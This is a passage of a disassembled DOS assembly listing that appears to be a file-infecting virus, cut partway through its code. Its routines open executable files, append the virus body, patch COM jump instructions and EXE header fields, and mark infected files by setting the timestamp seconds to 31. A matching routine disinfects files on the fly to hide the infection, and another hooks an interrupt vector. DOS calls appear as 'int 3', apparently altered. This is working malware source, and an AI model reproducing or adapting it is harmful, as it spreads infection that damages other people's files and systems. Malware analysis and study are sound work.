- jne loc_56 ; Jump if not equal
-
- loc_55:
-
- pop ax
-
- stc ; Set carry flag
-
- retn
-
- loc_56:
-
- pop ax
-
- clc ; Clear carry flag
-
- retn
-
- sub_15 endp
-
-
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_16 proc near
-
- push ax
-
- mov ax,5700h
-
- int 3 ; Debug breakpoint
-
- mov word ptr ds:[93Fh][si],cx
-
- mov word ptr ds:[941h][si],dx
-
- and cx,1Fh
-
- cmp cx,1Fh
-
- pop ax
-
- retn
-
- sub_16 endp
-
-
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_17 proc near
-
- call sub_14
-
- mov ah,40h ; '@'
-
- mov dx,si
-
- mov cx,923h
-
- int 3 ; Debug breakpoint
-
- retn
-
- sub_17 endp
-
-
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_18 proc near
-
- call sub_14
-
- add ax,1FFh
-
- adc dx,0
-
- mov al,ah
-
- mov ah,dl
-
- shr ax,1 ; Shift w/zeros fill
-
- mov word ptr ds:[91Eh][si],ax
-
- mov dx,4
-
- call sub_13
-
- mov ah,40h ; '@'
-
- lea dx,[si+91Eh] ; Load effective addr
-
- mov cx,2
-
- int 3 ; Debug breakpoint
-
- retn
-
- sub_18 endp
-
-
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_19 proc near
-
- push es
-
- push bx
-
- xor bx,bx ; Zero register
-
- mov ds,bx
-
- les bx,dword ptr ds:data_6e ; Load 32 bit ptr
-
- mov word ptr cs:[937h][si],bx
-
- mov word ptr cs:[939h][si],es
-
- lea bx,[si+41Dh] ; Load effective addr
-
- mov ds:data_6e,bx
-
- mov word ptr ds:data_6e+2,cs
-
- push ds
-
- push cs
-
- push cs
-
- pop ds
-
- pop es
-
- push ax
-
- cld ; Clear direction
-
- lea dx,[si+970h] ; Load effective addr
-
- mov di,dx
-
- add al,61h ; 'a'
-
- mov ah,3Ah ; ':'
-
- stosw ; Store ax to es:[di]
-
- mov word ptr [di],5Ch
-
- mov ah,5Ah ; 'Z'
-
- xor cx,cx ; Zero register
-
- int 3 ; Debug breakpoint
-
- jc loc_59 ; Jump if carry Set
-
- mov bx,ax
-
- mov ah,3Eh ; '>'
-
- int 3 ; Debug breakpoint
-
- jc loc_59 ; Jump if carry Set
-
- mov ah,41h ; 'A'
-
- int 3 ; Debug breakpoint
-
- loc_59:
-
- pop ax
-
- pop ds
-
- les bx,dword ptr cs:[937h][si] ; Load 32 bit ptr
-
- mov ds:data_6e,bx
-
- mov word ptr ds:data_6e+2,es
-
- push cs
-
- pop ds
-
- pop bx
-
- pop es
-
- retn
-
- sub_19 endp
-
-
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_20 proc near
-
- push cs
-
- push cs
-
- pop ds
-
- pop es
-
- call sub_15
-
- jc loc_60 ; Jump if carry Set
-
- jmp loc_69
-
- loc_60:
-
- call sub_16
-
- jnz loc_61 ; Jump if not zero
-
- jmp loc_69
-
- loc_61:
-
- call sub_19
-
- jnc loc_62 ; Jump if carry=0
-
- jmp loc_69
-
- loc_62:
-
- cmp ah,1
-
- je loc_65 ; Jump if equal
-
- cmp ah,2
-
- jne loc_63 ; Jump if not equal
-
- jmp loc_67
-
- loc_63:
-
- mov ah,3Fh ; '?'
-
- lea dx,[si+42h] ; Load effective addr
-
- nop ;*ASM fixup - displacement
-
- mov cx,2
-
- int 3 ; Debug breakpoint
-
- mov ah,3Fh ; '?'
-
- lea dx,[si+60h] ; Load effective addr
-
- nop ;*ASM fixup - displacement
-
- mov cx,2
-
- int 3 ; Debug breakpoint
-
- mov dx,[si+60h]
-
- call sub_13
-
- mov ah,3Fh ; '?'
-
- lea dx,[si+91Eh] ; Load effective addr
-
- mov cx,5
-
- int 3 ; Debug breakpoint
-
- call sub_14
-
- cmp ax,0F000h
-
- jbe loc_64 ; Jump if below or =
-
- jmp loc_69
-
- loc_64:
-
- mov word ptr ds:[925h][si],ax
-
- mov dx,6
-
- call sub_13
-
- mov ah,40h ; '@'
-
- lea dx,[si+925h] ; Load effective addr
-
- mov cx,2
-
- int 3 ; Debug breakpoint
-
- mov dx,[si+60h]
-
- call sub_13
-
- mov ah,40h ; '@'
-
- lea dx,[si+919h] ; Load effective addr
-
- mov cx,5
-
- int 3 ; Debug breakpoint
-
- call sub_17
-
- jmp loc_68
-
- loc_65:
-
- call sub_14
-
- cmp ax,0F000h
-
- jbe loc_66 ; Jump if below or =
-
- jmp loc_69
-
- loc_66:
-
- add ax,123h
-
- mov word ptr ds:[925h][si],ax
-
- xor dx,dx ; Zero register
-
- call sub_13
-
- mov byte ptr ds:[924h][si],0E9h
-
- mov ah,40h ; '@'
-
- lea dx,[si+924h] ; Load effective addr
-
- mov cx,3
-
- int 3 ; Debug breakpoint
-
- call sub_17
-
- jmp short loc_68
-
- loc_67:
-
- mov dx,4
-
- call sub_13
-
- mov ah,3Fh ; '?'
-
- lea dx,[si+91Eh] ; Load effective addr
-
- mov cx,6
-
- int 3 ; Debug breakpoint
-
- call sub_14
-
- add ax,1FFh
-
- adc dx,0
-
- shr dx,1 ; Shift w/zeros fill
-
- rcr ax,1 ; Rotate thru carry
-
- mov al,ah
-
- mov ah,dl
-
- cmp ax,word ptr ds:[91Eh][si]
-
- jne loc_69 ; Jump if not equal
-
- mov dx,14h
-
- call sub_13
-
- mov ah,3Fh ; '?'
-
- lea dx,[si+122h] ; Load effective addr
-
- mov cx,4
-
- int 3 ; Debug breakpoint
-
- call sub_14
-
- mov di,word ptr ds:[922h][si]
-
- mov cl,4
-
- shl di,cl ; Shift w/zeros fill
-
- sub ax,di
-
- sbb dx,0
-
- add ax,0FEh
-
- adc dx,0
-
- mov cl,0Ch
-
- shl dx,cl ; Shift w/zeros fill
-
- mov word ptr ds:[91Eh][si],ax
-
- mov word ptr ds:[920h][si],dx
-
- mov dx,14h
-
- call sub_13
-
- mov ah,40h ; '@'
-
- lea dx,[si+91Eh] ; Load effective addr
-
- mov cx,4
-
- int 3 ; Debug breakpoint
-
- call sub_17
-
- call sub_18
-
- loc_68:
-
- mov ax,5701h
-
- mov cx,word ptr ds:[93Fh][si]
-
- mov dx,word ptr ds:[941h][si]
-
- or cx,1Fh
-
- int 3 ; Debug breakpoint
-
- loc_69:
-
- xor dx,dx ; Zero register
-
- call sub_13
-
- retn
-
- sub_20 endp
-
-
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_21 proc near
-
- push cs
-
- push cs
-
- pop ds
-
- pop es
-
- call sub_15
-
- jc loc_70 ; Jump if carry Set
-
- jmp loc_79
-
- loc_70:
-
- call sub_16
-
- jz loc_71 ; Jump if zero
-
- jmp loc_79
-
- loc_71:
-
- call sub_19
-
- jnc loc_72 ; Jump if carry=0
-
- jmp loc_79
-
- loc_72:
-
- cmp ah,1
-
- je loc_74 ; Jump if equal
-
- cmp ah,2
-
- jne loc_73 ; Jump if not equal
-
- jmp loc_76
-
- loc_73:
-
- mov ah,3Fh ; '?'
-
- lea dx,[si+42h] ; Load effective addr
-
- nop ;*ASM fixup - displacement
-
- mov cx,2
-
- int 3 ; Debug breakpoint
-
- mov dx,[si+42h]
-
- add dx,42h
-
- nop ;*ASM fixup - sign extn byte
-
- call sub_13
-
- mov ah,3Fh ; '?'
-
- lea dx,[si+91Eh] ; Load effective addr
-
- mov cx,2
-
- int 3 ; Debug breakpoint
-
- mov dx,6
-
- call sub_13
-
- mov ah,40h ; '@'
-
- lea dx,[si+91Eh] ; Load effective addr
-
- mov cx,2
-
- int 3 ; Debug breakpoint
-
- mov dx,[si+42h]
-
- add dx,91Eh
-
- call sub_13
-
- mov ah,3Fh ; '?'
-
- lea dx,[si+91Eh] ; Load effective addr
-
- mov cx,5
-
- int 3 ; Debug breakpoint
-
- mov dx,8
-
- call sub_13
-
- mov ah,3Fh ; '?'
-
- lea dx,[si+60h] ; Load effective addr
-
- nop ;*ASM fixup - displacement
-
- mov cx,2
-
- int 3 ; Debug breakpoint
-
- mov dx,[si+60h]
-
- call sub_13
-
- mov ah,40h ; '@'
-
- lea dx,[si+91Eh] ; Load effective addr
-
- mov cx,5
-
- int 3 ; Debug breakpoint
-
- mov dx,[si+42h]
-
- call sub_13
-
- mov ah,40h ; '@'
-
- xor cx,cx ; Zero register
-
- int 3 ; Debug breakpoint
-
- jmp loc_78
-
- loc_74:
-
- cmp byte ptr ds:[91Eh][si],0E9h
-
- je loc_75 ; Jump if equal
-
- jmp loc_79
-
- loc_75:
-
- sub word ptr ds:[91Fh][si],123h
-
- mov dx,word ptr ds:[91Fh][si]
-
- add dx,91Eh
-
- call sub_13
-
- mov ah,3Fh ; '?'
-
- lea dx,[si+924h] ; Load effective addr
-
- mov cx,3
-
- int 3 ; Debug breakpoint
-
- xor dx,dx ; Zero register
-
- call sub_13
-
- mov ah,40h ; '@'
-
- lea dx,[si+924h] ; Load effective addr
-
- mov cx,3
-
- int 3 ; Debug breakpoint
-
- mov dx,word ptr ds:[91Fh][si]
-
- call sub_13
-
- mov ah,40h ; '@'
-
- xor cx,cx ; Zero register
-
- int 3 ; Debug breakpoint
-
- jmp short loc_78
-
- loc_76:
-
- mov dx,8
-
- call sub_13
-
- mov ah,3Fh ; '?'
-
- lea dx,[si+91Eh] ; Load effective addr
-
- mov cx,2
-
- int 3 ; Debug breakpoint
-
- mov dx,14h
-
- call sub_13
-
- mov ah,3Fh ; '?'
-
- lea dx,[si+122h] ; Load effective addr
-
- mov cx,4
-
- int 3 ; Debug breakpoint
-
- mov cl,0Ch
-
- shr word ptr ds:[124h][si],cl ; Shift w/zeros fill
-
- mov ax,word ptr ds:[91Eh][si]
-
- mov cl,4
-
- shl ax,cl ; Shift w/zeros fill
-
- sub ax,0FEh
-
- cwd ; Word to double word
-
- add word ptr ds:[122h][si],ax
-
- adc word ptr ds:[124h][si],dx
-
- mov ax,4200h
-
- mov dx,word ptr ds:[122h][si]
-
- mov cx,word ptr ds:[124h][si]
-
- add dx,122h
-
- adc cx,0
-
- int 3 ; Debug breakpoint
-
- mov ah,3Fh ; '?'
-
- lea dx,[si+91Eh] ; Load effective addr
-
- mov cx,4
-
- int 3 ; Debug breakpoint
-
- mov dx,14h
-
- call sub_13
-
- mov ah,40h ; '@'
-
- lea dx,[si+91Eh] ; Load effective addr
-
- mov cx,4
-
- int 3 ; Debug breakpoint
-
- mov ax,4200h
-
- mov dx,word ptr ds:[122h][si]
-
- mov cx,word ptr ds:[124h][si]
-
- int 3 ; Debug breakpoint
-
- mov ah,40h ; '@'
-
- xor cx,cx ; Zero register
-
- int 3 ; Debug breakpoint
-
- call sub_18
-
- loc_78:
-
- mov ax,5701h
-
- mov cx,word ptr ds:[93Fh][si]
-
- mov dx,word ptr ds:[941h][si]
-
- and cx,0FFE0h
-
- int 3 ; Debug breakpoint
-
- loc_79:
-
- xor dx,dx ; Zero register
-
- call sub_13
-
- retn
-
- sub_21 endp
-
-
-
- db 26h, 11h,0EAh, 4Ah, 00h, 00h
-
- db 70h,0B0h,0F3h,0E6h, 60h,0B9h
-
- db 1Ah, 1Ah
-
- db 716 dup (1Ah)
-
-
-
- seg_a ends
-
-
-
-
-
-
-
- end start
-
-